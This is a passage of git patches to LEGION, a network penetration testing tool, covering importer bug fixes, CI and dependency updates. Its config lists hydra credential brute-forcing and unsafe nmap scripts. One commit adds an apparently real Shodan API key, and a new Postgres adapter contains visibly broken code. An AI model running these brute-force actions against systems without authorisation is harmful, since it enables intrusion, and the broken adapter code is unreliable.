0:0, 1024x768x24" /usr/bin/cutycapt --url="{url}/"' ' --max-wait=5000 --out="{outputfolder}/{outputfile}"') \ .format(url=url, outputfolder=self.outputfolder, outputfile=outputfile) p = subprocess.Popen(command, shell=True) From 5d2d6d41aaebe6b1e4b0b34bd74de5ef874eeae2 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 31 Jul 2020 13:32:37 -0500 Subject: [PATCH 404/450] Bug fixes, Service overwrite/stale bug fix --- CHANGELOG.txt | 5 +++- app/ApplicationInfo.py | 4 +-- app/importers/NmapImporter.py | 56 ++++++++++++++++------------------- db/entities/service.py | 6 ++-- legion.conf | 9 +++--- 5 files changed, 41 insertions(+), 39 deletions(-) diff --git a/CHANGELOG.txt b/CHANGELOG.txt index b40a2f94..17b68ba5 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,6 +1,9 @@ LEGION 0.3.7 -* Bug fixes +* Bug fixes for several edge cases +* Screenshot fixes +* Service version data overwrite bug fixed +* Stale service version data bug fixed * Refactor of docker base image LEGION 0.3.6 diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index f8d3e139..aadb7644 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -19,12 +19,12 @@ applicationInfo = { "name": "LEGION", "version": "0.3.7", - "build": '1593185290', + "build": '1596220187', "author": "GoVanguard", "copyright": "2020", "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.com/legion"], "emails": [], - "update": '06/26/2020', + "update": '07/31/2020', "license": "GPL v3", "desc": "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \n" + "super-extensible and semi-automated network penetration testing tool that aids in " + diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index 530df627..f758fdf9 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -119,7 +119,6 @@ def run(self): session.commit() for h in allHosts: # create all OS, service and port objects that need to be created - ## does not take into account different service versions? self.tsLog("Processing h {ip}".format(ip=h.ip)) db_host = self.hostRepository.getHostInformation(h.ip) @@ -138,7 +137,7 @@ def run(self): if not db_os: t_osObj = osObj(os.name, os.family, os.generation, os.osType, os.vendor, os.accuracy, - db_host.id) + db_host.id) session.add(t_osObj) createOsNodesProgress = createOsNodesProgress + ((100.0 / hostCount) / 5) @@ -154,26 +153,21 @@ def run(self): s = p.getService() if not (s is None): # check if service already exists to avoid adding duplicates - # print(" Found service {service} for port {port}".format(service=str(s.name), - # port=str(p.portId))) - # db_service = session.query(serviceObj).filter_by(name=s.name).filter_by(product=s.product). - # filter_by(version=s.version).filter_by(extrainfo=s.extrainfo). - # filter_by(fingerprint=s.fingerprint).first() - db_service = session.query(serviceObj).filter_by(name=s.name).filter_by(product=s.product) \ - .first() + print("Processing service result *********** name={0} prod={1} ver={2} extra={3} fing={4}" \ + .format(s.name, s.product, s.version, s.extrainfo, s.fingerprint)) + db_service = session.query(serviceObj).filter_by(hostId=db_host.id) \ + .filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version) \ + .filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() if not db_service: - # print("Did not find service *********** name={0} prod={1} ver={2} extra={3} fing={4}". - # format(s.name, s.product, s.version, s.extrainfo, s.fingerprint)) - db_service = serviceObj(s.name, s.product, s.version, s.extrainfo, s.fingerprint) + print("Did not find service *********** name={0} prod={1} ver={2} extra={3} fing={4}" \ + .format(s.name, s.product, s.version, s.extrainfo, s.fingerprint)) + db_service = serviceObj(s.name, db_host.id, s.product, s.version, s.extrainfo, s.fingerprint) session.add(db_service) - # else: - # print("FOUND service *************** name={0}".format(db_service.name)) - else: # else, there is no service info to parse db_service = None # fetch the port - db_port = session.query(portObj).filter_by(hostId=db_host.id).filter_by(portId=p.portId).filter_by( - protocol=p.protocol).first() + db_port = session.query(portObj).filter_by(hostId=db_host.id).filter_by(portId=p.portId) \ + .filter_by(protocol=p.protocol).first() if not db_port: # print("Did not find port *********** portid={0} proto={1}".format(p.portId, p.protocol)) @@ -200,10 +194,12 @@ def run(self): for scr in p.getScripts(): self.tsLog(" Processing script obj {scr}".format(scr=str(scr))) print(" Processing script obj {scr}".format(scr=str(scr))) - db_port = session.query(portObj).filter_by(hostId=db_host.id).filter_by( - portId=p.portId).filter_by(protocol=p.protocol).first() - db_script = session.query(l1ScriptObj).filter_by(scriptId=scr.scriptId).filter_by( - portId=db_port.id).first() + db_port = session.query(portObj).filter_by(hostId=db_host.id) \ + .filter_by(portId=p.portId).filter_by(protocol=p.protocol).first() + #db_script = session.query(l1ScriptObj).filter_by(scriptId=scr.scriptId) \ + # .filter_by(portId=db_port.id).first() + db_script = session.query(l1ScriptObj).filter_by(hostId=db_host.id) \ + .filter_by(portId=db_port.id).first() if not db_script: # if this script object doesn't exist, create it t_l1ScriptObj = l1ScriptObj(scr.scriptId, scr.output, db_port.id, db_host.id) @@ -211,8 +207,8 @@ def run(self): session.add(t_l1ScriptObj) for hs in h.getHostScripts(): - db_script = session.query(l1ScriptObj).filter_by(scriptId=hs.scriptId).filter_by( - hostId=db_host.id).first() + db_script = session.query(l1ScriptObj).filter_by(scriptId=hs.scriptId) \ + .filter_by(hostId=db_host.id).first() if not db_script: t_l1ScriptObj = l1ScriptObj(hs.scriptId, hs.output, None, db_host.id) session.add(t_l1ScriptObj) @@ -253,9 +249,9 @@ def run(self): os_nodes = h.getOs() for os in os_nodes: - db_os = session.query(osObj).filter_by(hostId=db_host.id).filter_by(name=os.name).filter_by( - family=os.family).filter_by(generation=os.generation).filter_by(osType=os.osType).filter_by( - vendor=os.vendor).first() + db_os = session.query(osObj).filter_by(hostId=db_host.id).filter_by(name=os.name) \ + .filter_by(family=os.family).filter_by(generation=os.generation).filter_by(osType=os.osType) \ + .filter_by(vendor=os.vendor).first() db_os.osAccuracy = os.accuracy # update the accuracy @@ -290,10 +286,10 @@ def run(self): for p in h.all_ports(): s = p.getService() if not (s is None): - # db_service = session.query(serviceObj).filter_by(name=s.name).filter_by(product=s.product). - # filter_by(version=s.version).filter_by(extrainfo=s.extrainfo). - # filter_by(fingerprint=s.fingerprint).first() - db_service = session.query(serviceObj).filter_by(name=s.name).first() + db_service = session.query(serviceObj).filter_by(hostId=db_host.id).filter_by(name=s.name). \ + filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo). \ + filter_by(fingerprint=s.fingerprint).first() + #db_service = session.query(serviceObj).filter_by(hostId=db_host.id).filter_by(name=s.name).first() else: db_service = None # fetch the port diff --git a/db/entities/service.py b/db/entities/service.py index e5c9ff97..ab59730a 100644 --- a/db/entities/service.py +++ b/db/entities/service.py @@ -15,7 +15,7 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ -from sqlalchemy import String, Column, Integer +from sqlalchemy import String, Column, Integer, ForeignKey from sqlalchemy.orm import relationship from db.database import Base @@ -32,13 +32,15 @@ class serviceObj(Base): version = Column(String) extrainfo = Column(String) fingerprint = Column(String) + hostId = Column(String, ForeignKey('hostObj.id')) port = relationship(portObj) cves = relationship(cve) application = relationship(appObj) - def __init__(self, name='', product='', version='', extrainfo='', fingerprint=''): + def __init__(self, name, host, product='', version='', extrainfo='', fingerprint=''): self.name = name self.product = product self.version = version self.extrainfo = extrainfo self.fingerprint = fingerprint + self.hostId = host diff --git a/legion.conf b/legion.conf index 65aa3d4e..e9a78b0d 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,26,26,26,0,100,100,0,0,0,0,0,0,0,755,100" +process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,481,100" process-tab-detail=false [GeneralSettings] @@ -281,8 +281,8 @@ telnet-default-router=Check for default telnet router credentials, hydra -s [POR tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, dns vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc -vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc vnc-default=Check for default VNC credentials, hydra -s [PORT] -C ./wordlists/vnc-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] vnc, vnc +vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,https-alt" wpscan=Run wpscan, wpscan --url [IP], "http,https,ssl,https-alt" @@ -302,7 +302,7 @@ ssh=Open with ssh client (as root), [term] ssh root@[IP] -p [PORT], ssh telnet=Open with telnet, [term] telnet [IP] [PORT], vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc xephyr=Open with Xephyr, [term] Xephyr -query [IP] :1, xdmcp -xterm=Open terminal, [term] bash, +xterm=Open terminal, [term] bash, [SchedulerSettings] ftp-default=ftp, tcp @@ -318,7 +318,7 @@ snmpcheck=snmp, udp x11screen=X11, tcp [StagedNmapSettings] -stage1-ports="T:80,443" +stage1-ports="T:80,81,443,4443,8080,8081,8082" stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" stage3-ports="Vulners,CVE" stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" @@ -329,4 +329,5 @@ stage6-ports=T:30000-65535 cutycapt-path=/usr/bin/cutycapt hydra-path=/usr/bin/hydra nmap-path=/sbin/nmap +pyshodan-api-key=SNYEkE0gdwNu9BRURVDjWPXePCquXqht texteditor-path=/usr/bin/leafpad From d8d3ea013130591be9df59153e9fbd4251e6c1ad Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 31 Jul 2020 14:07:12 -0500 Subject: [PATCH 405/450] Fix flake complaints --- app/importers/NmapImporter.py | 26 ++++++++++++++------------ 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index f758fdf9..08b2cf8d 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -153,15 +153,16 @@ def run(self): s = p.getService() if not (s is None): # check if service already exists to avoid adding duplicates - print("Processing service result *********** name={0} prod={1} ver={2} extra={3} fing={4}" \ + print("Processing service result *********** name={0} prod={1} ver={2} extra={3} fing={4}" .format(s.name, s.product, s.version, s.extrainfo, s.fingerprint)) db_service = session.query(serviceObj).filter_by(hostId=db_host.id) \ .filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version) \ .filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() if not db_service: - print("Did not find service *********** name={0} prod={1} ver={2} extra={3} fing={4}" \ + print("Did not find service *********** name={0} prod={1} ver={2} extra={3} fing={4}" .format(s.name, s.product, s.version, s.extrainfo, s.fingerprint)) - db_service = serviceObj(s.name, db_host.id, s.product, s.version, s.extrainfo, s.fingerprint) + db_service = serviceObj(s.name, db_host.id, s.product, s.version, s.extrainfo, + s.fingerprint) session.add(db_service) else: # else, there is no service info to parse db_service = None @@ -250,8 +251,8 @@ def run(self): os_nodes = h.getOs() for os in os_nodes: db_os = session.query(osObj).filter_by(hostId=db_host.id).filter_by(name=os.name) \ - .filter_by(family=os.family).filter_by(generation=os.generation).filter_by(osType=os.osType) \ - .filter_by(vendor=os.vendor).first() + .filter_by(family=os.family).filter_by(generation=os.generation) \ + .filter_by(osType=os.osType).filter_by(vendor=os.vendor).first() db_os.osAccuracy = os.accuracy # update the accuracy @@ -286,15 +287,16 @@ def run(self): for p in h.all_ports(): s = p.getService() if not (s is None): - db_service = session.query(serviceObj).filter_by(hostId=db_host.id).filter_by(name=s.name). \ - filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo). \ - filter_by(fingerprint=s.fingerprint).first() + db_service = session.query(serviceObj).filter_by(hostId=db_host.id) \ + .filter_by(name=s.name).filter_by(product=s.product) \ + .filter_by(version=s.version).filter_by(extrainfo=s.extrainfo) \ + .filter_by(fingerprint=s.fingerprint).first() #db_service = session.query(serviceObj).filter_by(hostId=db_host.id).filter_by(name=s.name).first() else: db_service = None # fetch the port - db_port = session.query(portObj).filter_by(hostId=db_host.id).filter_by(portId=p.portId).filter_by( - protocol=p.protocol).first() + db_port = session.query(portObj).filter_by(hostId=db_host.id).filter_by(portId=p.portId) \ + .filter_by(protocol=p.protocol).first() if db_port: # print("************************ Found {0}".format(db_port)) @@ -309,8 +311,8 @@ def run(self): # store the script results (note that existing script outputs are also kept) for scr in p.getScripts(): - db_script = session.query(l1ScriptObj).filter_by(scriptId=scr.scriptId).filter_by( - portId=db_port.id).first() + db_script = session.query(l1ScriptObj).filter_by(scriptId=scr.scriptId) \ + .filter_by(portId=db_port.id).first() if not scr.output == '' and scr.output is not None: db_script.output = scr.output From 71223589665ec4dbb0ed699758f6d8b185591ee8 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 31 Jul 2020 14:11:14 -0500 Subject: [PATCH 406/450] Fix flake complaints --- app/importers/NmapImporter.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index 08b2cf8d..eaf01f93 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -291,7 +291,8 @@ def run(self): .filter_by(name=s.name).filter_by(product=s.product) \ .filter_by(version=s.version).filter_by(extrainfo=s.extrainfo) \ .filter_by(fingerprint=s.fingerprint).first() - #db_service = session.query(serviceObj).filter_by(hostId=db_host.id).filter_by(name=s.name).first() + #db_service = session.query(serviceObj).filter_by(hostId=db_host.id) \ + # .filter_by(name=s.name).first() else: db_service = None # fetch the port From aba41423c505b0bb8c6a5b0adc0c10586cf28f85 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 31 Jul 2020 14:17:40 -0500 Subject: [PATCH 407/450] Update travis --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index d75b6662..094d558b 100644 --- a/.travis.yml +++ b/.travis.yml @@ -23,7 +23,7 @@ after_success: - (test $TRAVIS_PULL_REQUEST != "false") && exit 0 - (test $TRAVIS_BRANCH != "master" && test $TRAVIS_BRANCH != "development") && exit 0 - cd ./docker/ - - docker login -u $DOCKER_USER -p $DOCKER_PASS + - echo "$$DOCKER_PASS" | docker login --username $DOCKER_USER --password-stdin - export REPO=gvit/legion - docker build -f Dockerfile -t $REPO:$COMMIT . --no-cache - docker tag $REPO:$COMMIT $REPO:travis-$TRAVIS_BUILD_NUMBER From a786670b1180569662fc1cdb0933706d61f0e664 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 31 Jul 2020 14:21:55 -0500 Subject: [PATCH 408/450] Update travis --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 094d558b..a4806b32 100644 --- a/.travis.yml +++ b/.travis.yml @@ -23,7 +23,7 @@ after_success: - (test $TRAVIS_PULL_REQUEST != "false") && exit 0 - (test $TRAVIS_BRANCH != "master" && test $TRAVIS_BRANCH != "development") && exit 0 - cd ./docker/ - - echo "$$DOCKER_PASS" | docker login --username $DOCKER_USER --password-stdin + - echo "$DOCKER_PASS" | docker login --username $DOCKER_USER --password-stdin - export REPO=gvit/legion - docker build -f Dockerfile -t $REPO:$COMMIT . --no-cache - docker tag $REPO:$COMMIT $REPO:travis-$TRAVIS_BUILD_NUMBER From 57fd0fabc589d7945c2912369b8579e01d3a4a09 Mon Sep 17 00:00:00 2001 From: snyk-bot Date: Wed, 26 Aug 2020 06:03:49 +0000 Subject: [PATCH 409/450] fix: requirements.txt to reduce vulnerabilities The following vulnerabilities are fixed by pinning transitive dependencies: - https://snyk.io/vuln/SNYK-PYTHON-SQLALCHEMY-590109 --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 07921db6..71c4beec 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,7 +3,7 @@ aiohttp aioredis six>=1.11.0 Quamash>=0.6.1 -SQLAlchemy==1.3.0b1 +SQLAlchemy==1.3.19 aiomonitor>=0.3.1 APScheduler>=3.5.3 PyQt5==5.11.3 From 3919565cd031e4c65253d4def991f083e08eb71f Mon Sep 17 00:00:00 2001 From: Khiem Doan Date: Sat, 12 Sep 2020 23:20:22 +0700 Subject: [PATCH 410/450] Fix wrong syntax --- ui/models/cvemodels.py | 2 +- ui/models/hostmodels.py | 2 +- ui/models/processmodels.py | 2 +- ui/models/scriptmodels.py | 2 +- ui/models/servicemodels.py | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/ui/models/cvemodels.py b/ui/models/cvemodels.py index 105d7772..e62d8e33 100644 --- a/ui/models/cvemodels.py +++ b/ui/models/cvemodels.py @@ -52,7 +52,7 @@ def rowCount(self, parent): return len(self.__cves) def columnCount(self, parent): - if not len(self.__cves) is 0: + if len(self.__cves) > 0: return len(self.__cves[0]) return 0 diff --git a/ui/models/hostmodels.py b/ui/models/hostmodels.py index 6a815a8f..cf2ef9b7 100644 --- a/ui/models/hostmodels.py +++ b/ui/models/hostmodels.py @@ -40,7 +40,7 @@ def rowCount(self, parent): return len(self.__hosts) def columnCount(self, parent): - if not len(self.__hosts) is 0: + if len(self.__hosts) > 0: return len(self.__hosts[0]) return 0 diff --git a/ui/models/processmodels.py b/ui/models/processmodels.py index 1fad713e..3f5327af 100644 --- a/ui/models/processmodels.py +++ b/ui/models/processmodels.py @@ -40,7 +40,7 @@ def rowCount(self, parent): return len(self.__processes) def columnCount(self, parent): - if not len(self.__processes) is 0: + if len(self.__processes) > 0: return len(self.__processes[0]) return 0 diff --git a/ui/models/scriptmodels.py b/ui/models/scriptmodels.py index 45da99c9..7ad35e09 100644 --- a/ui/models/scriptmodels.py +++ b/ui/models/scriptmodels.py @@ -41,7 +41,7 @@ def rowCount(self, parent): return len(self.__scripts) def columnCount(self, parent): - if not len(self.__scripts) is 0: + if len(self.__scripts) > 0: return len(self.__scripts[0]) return 0 diff --git a/ui/models/servicemodels.py b/ui/models/servicemodels.py index 0336f751..2acaef61 100644 --- a/ui/models/servicemodels.py +++ b/ui/models/servicemodels.py @@ -181,7 +181,7 @@ def rowCount(self, parent): return len(self.__serviceNames) def columnCount(self, parent): - if not len(self.__serviceNames) is 0: + if len(self.__serviceNames) > 0: return len(self.__serviceNames[0]) return 0 From bde21c83dc981fd1ea2d55c03a1c41f7449ace70 Mon Sep 17 00:00:00 2001 From: lealog <41795438+lealog@users.noreply.github.com> Date: Tue, 8 Dec 2020 16:09:28 +0000 Subject: [PATCH 411/450] Changing from python-pip to python3-pip The following error will happen when trying to install python-pip. sudo apt-get install -y docker.io python-pip -y Reading package lists... Done Building dependency tree Reading state information... Done Package python-pip is not available, but is referred to by another package. This may mean that the package is missing, has been obsoleted, or is only available from another source However the following packages replace it: python3-pip E: Package 'python-pip' has no installation candidate --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 7054dedc..03e8a3b0 100644 --- a/README.md +++ b/README.md @@ -125,7 +125,7 @@ Setup Docker on Linux: - To install docker components typically needed and add setup the environment for docker, under a term, run: ``` sudo apt-get update - sudo apt-get install -y docker.io python-pip -y + sudo apt-get install -y docker.io python3-pip -y sudo groupadd docker pip install --user docker-compose ``` From 7c41bdd8f51894db4c4e7919440e26e350002712 Mon Sep 17 00:00:00 2001 From: snyk-bot Date: Fri, 19 Feb 2021 17:24:24 +0000 Subject: [PATCH 412/450] fix: requirements.txt to reduce vulnerabilities The following vulnerabilities are fixed by pinning transitive dependencies: - https://snyk.io/vuln/SNYK-PYTHON-SQLALCHEMY-590109 --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 07921db6..71c4beec 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,7 +3,7 @@ aiohttp aioredis six>=1.11.0 Quamash>=0.6.1 -SQLAlchemy==1.3.0b1 +SQLAlchemy==1.3.19 aiomonitor>=0.3.1 APScheduler>=3.5.3 PyQt5==5.11.3 From 0b00bcb84fd416a4b7658643e7d0d7c9119e8fd7 Mon Sep 17 00:00:00 2001 From: snyk-bot Date: Fri, 28 May 2021 22:35:26 +0000 Subject: [PATCH 413/450] fix: requirements.txt to reduce vulnerabilities The following vulnerabilities are fixed by pinning transitive dependencies: - https://snyk.io/vuln/SNYK-PYTHON-WEBSOCKETS-1297182 --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 07921db6..5a7eeb3e 100644 --- a/requirements.txt +++ b/requirements.txt @@ -19,3 +19,4 @@ pyShodan GitPython pandas flake8>=3.7.8 +websockets>=9.1 # not directly required, pinned by Snyk to avoid a vulnerability From bd3993da8cd47de97d2ed0e51e20c79342fdaa11 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 2 Jun 2021 12:45:11 -0500 Subject: [PATCH 414/450] Cleanup --- .gitignore | 3 +- app/ApplicationInfo.py | 4 +- app/importers/__init__.py | 17 ------- db/postgresDbAdapter.py | 91 ++++++++++++++++++++++++++++++++++++ fixname.sh | 37 +++++++++++++++ legion.conf | 2 +- parsers/examples/__init__.py | 16 ------- requirements.txt | 1 + ui/models/__init__.py | 17 ------- 9 files changed, 134 insertions(+), 54 deletions(-) create mode 100644 db/postgresDbAdapter.py create mode 100644 fixname.sh diff --git a/.gitignore b/.gitignore index 7b909fb6..aa20e73c 100644 --- a/.gitignore +++ b/.gitignore @@ -125,4 +125,5 @@ docker/runLocal.sh docker/cleanupUntagged.sh docker/cleanupExited.sh -log/*.log \ No newline at end of file +log/*.log +fixname.sh diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index aadb7644..217937c5 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -19,12 +19,12 @@ applicationInfo = { "name": "LEGION", "version": "0.3.7", - "build": '1596220187', + "build": '1622655840', "author": "GoVanguard", "copyright": "2020", "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.com/legion"], "emails": [], - "update": '07/31/2020', + "update": '06/02/2021', "license": "GPL v3", "desc": "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \n" + "super-extensible and semi-automated network penetration testing tool that aids in " + diff --git a/app/importers/__init__.py b/app/importers/__init__.py index c1f1c80d..e69de29b 100644 --- a/app/importers/__init__.py +++ b/app/importers/__init__.py @@ -1,17 +0,0 @@ -""" -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard - - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public - License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later - version. - - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied - warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more - details. - - You should have received a copy of the GNU General Public License along with this program. - If not, see . - -Author(s): Dmitriy Dubson (d.dubson@gmail.com) -""" \ No newline at end of file diff --git a/db/postgresDbAdapter.py b/db/postgresDbAdapter.py new file mode 100644 index 00000000..383518f2 --- /dev/null +++ b/db/postgresDbAdapter.py @@ -0,0 +1,91 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2019 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" + +from PyQt5.QtCore import QSemaphore +import time +from random import randint + +from sqlalchemy import create_engine +from sqlalchemy.orm import sessionmaker +from sqlalchemy.orm.scoping import scoped_session + +from app.logging.legionLog import getDbLogger + + +class Database: + def __init__(self, user: str, passw: str, db: str, host='localhost', port=5432): + from db.database import Base + self.log = getDbLogger() + self.base = Base + try: + self.establishSqliteConnection(user, passw. db. host, port) + except Exception as e: + self.log.error('Could not create SQLite database. Please try again.') + self.log.info(e) + + def openDB(self, dbfilename): + try: + self.log.error('Not implemented for Postgres yet.') + except: + self.log.error('Could not open SQLite database file. Is the file corrupted?') + + def establishSqliteConnection(self, user: str, passw: str, db: str, host='localhost', port=5432): + self.name = db + self.port = port + self.host = host + self.user = user + self.passw = passw + self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db + url = 'postgresql://{}:{}@{}:{}/{}' + url = url.format(user, password, host, port, db) + # The return value of create_engine() is our connection object + self.engine = sqlalchemy.create_engine( + url, client_encoding='utf8') + # We then bind the connection to MetaData() + #meta = sqlalchemy.MetaData(bind=con, reflect=True) + self.session = scoped_session(sessionmaker()) + self.session.configure(bind=self.engine, autoflush=False) + self.metadata = self.base.metadata + self.metadata.create_all(self.engine) + self.metadata.echo = True + self.metadata.bind = self.engine + self.log.info(f"Established SQLite connection on file '{dbFileName}'") + + def commit(self): + self.dbsemaphore.acquire() + self.log.debug("DB lock acquired") + try: + session = self.session() + rnd = float(randint(1, 99)) / 100.00 + self.log.debug("Waiting {0}s before commit...".format(str(rnd))) + time.sleep(rnd) + session.commit() + except Exception as e: + self.log.error("DB Commit issue") + self.log.error(str(e)) + try: + rnd = float(randint(1, 99)) / 100.00 + time.sleep(rnd) + self.log.debug("Waiting {0}s before commit...".format(str(rnd))) + session.commit() + except Exception as e: + self.log.error("DB Commit issue on retry") + self.log.error(str(e)) + pass + self.dbsemaphore.release() + self.log.debug("DB lock released") diff --git a/fixname.sh b/fixname.sh new file mode 100644 index 00000000..0263ec8d --- /dev/null +++ b/fixname.sh @@ -0,0 +1,37 @@ +#!/bin/sh + +git filter-branch -f --env-filter ' + +OLD_NAME="sscottgvit" +OLD_EMAIL="sscottgvit@govanguard.com" +CORRECT_NAME="sscottgvit" +CORRECT_EMAIL="sscott@govanguard.com" + +if [ "$GIT_COMMITTER_EMAIL" = "$OLD_EMAIL" ] +then + export GIT_COMMITTER_NAME="$CORRECT_NAME" + export GIT_COMMITTER_EMAIL="$CORRECT_EMAIL" +fi +if [ "$GIT_AUTHOR_EMAIL" = "$OLD_EMAIL" ] +then + export GIT_AUTHOR_NAME="$CORRECT_NAME" + export GIT_AUTHOR_EMAIL="$CORRECT_EMAIL" +fi +if [ "$GIT_AUTHOR_NAME" = "$OLD_NAME" ] +then + export GIT_AUTHOR_NAME="$CORRECT_NAME" + export GIT_AUTHOR_EMAIL="$CORRECT_EMAIL" +fi +if [ "$GIT_COMMITTER_NAME" = "$OLD_NAME" ] +then + export GIT_COMMITTER_NAME="$CORRECT_NAME" + export GIT_COMMITTER_EMAIL="$CORRECT_EMAIL" +fi +#if [ "$GIT_COMMITTER_NAME" != "$GIT_AUTHOR_NAME" ] +#then +# export GIT_AUTHOR_NAME="$GIT_COMMITTER_NAME" +# export GIT_AUTHOR_EMAIL="$GIT_COMMITTER_EMAIL" +#fi +' --tag-name-filter cat -- --branches --tags + +git push --force --tags origin 'refs/heads/*' diff --git a/legion.conf b/legion.conf index e9a78b0d..ef483d56 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,481,100" +process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,483,100" process-tab-detail=false [GeneralSettings] diff --git a/parsers/examples/__init__.py b/parsers/examples/__init__.py index c1f1c80d..8b137891 100644 --- a/parsers/examples/__init__.py +++ b/parsers/examples/__init__.py @@ -1,17 +1 @@ -""" -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public - License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later - version. - - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied - warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more - details. - - You should have received a copy of the GNU General Public License along with this program. - If not, see . - -Author(s): Dmitriy Dubson (d.dubson@gmail.com) -""" \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index 07921db6..fab5e1ad 100644 --- a/requirements.txt +++ b/requirements.txt @@ -4,6 +4,7 @@ aioredis six>=1.11.0 Quamash>=0.6.1 SQLAlchemy==1.3.0b1 +psycopg2 aiomonitor>=0.3.1 APScheduler>=3.5.3 PyQt5==5.11.3 diff --git a/ui/models/__init__.py b/ui/models/__init__.py index 1620d344..e69de29b 100644 --- a/ui/models/__init__.py +++ b/ui/models/__init__.py @@ -1,17 +0,0 @@ -""" -LEGION (https://govanguard.io) -Copyright (c) 2019 GoVanguard - - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public - License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later - version. - - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied - warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more - details. - - You should have received a copy of the GNU General Public License along with this program. - If not, see . - -Author(s): 